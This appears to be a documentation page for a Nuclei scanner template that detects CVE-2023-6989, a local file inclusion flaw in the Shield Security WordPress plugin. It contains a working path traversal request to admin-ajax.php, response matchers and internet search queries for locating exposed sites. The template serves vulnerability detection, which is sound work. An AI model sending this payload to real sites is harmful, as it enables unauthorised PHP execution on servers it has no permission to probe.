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Shield Security WP Plugin <= 18.5.9 - Local File Inclusion

ID: CVE-2023-6989

Severity: critical

Author: s4e-io

Tags: wpscan,cve,cve2023,wp,wordpress,wp-plugin,lfi,shield-security,getshieldsecurity

Description

Section titled “Description”

The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.

YAML Source

Section titled “YAML Source”
id: CVE-2023-6989


info:
  name: Shield Security WP Plugin <= 18.5.9 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.
  reference:
    - https://wpscan.com/vulnerability/a485aee7-39a0-418c-9699-9afc53e28f55/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6989
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6989
    cwe-id: CWE-22
    epss-score: 0.11562
    epss-percentile: 0.95251
    cpe: cpe:2.3:a:getshieldsecurity:shield_security:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: getshieldsecurity
    product: shield_security
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-simple-firewall
    fofa-query: body=/wp-content/plugins/wp-simple-firewall
    publicwww-query: "/wp-content/plugins/wp-simple-firewall"
  tags: wpscan,cve,cve2023,wp,wordpress,wp-plugin,lfi,shield-security,getshieldsecurity


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"dashboard_shield"'
          - '"shield_action"'
          - '"search_shield"'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ecf64fd6f08de1a515d9c6ac580b9488b3bbaba029db9afc06578309ecacb40c0221008ffe21370ca7d542c574ca018139611664623015696de443edcc7c133bfe4362:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6989.yaml"

View on Github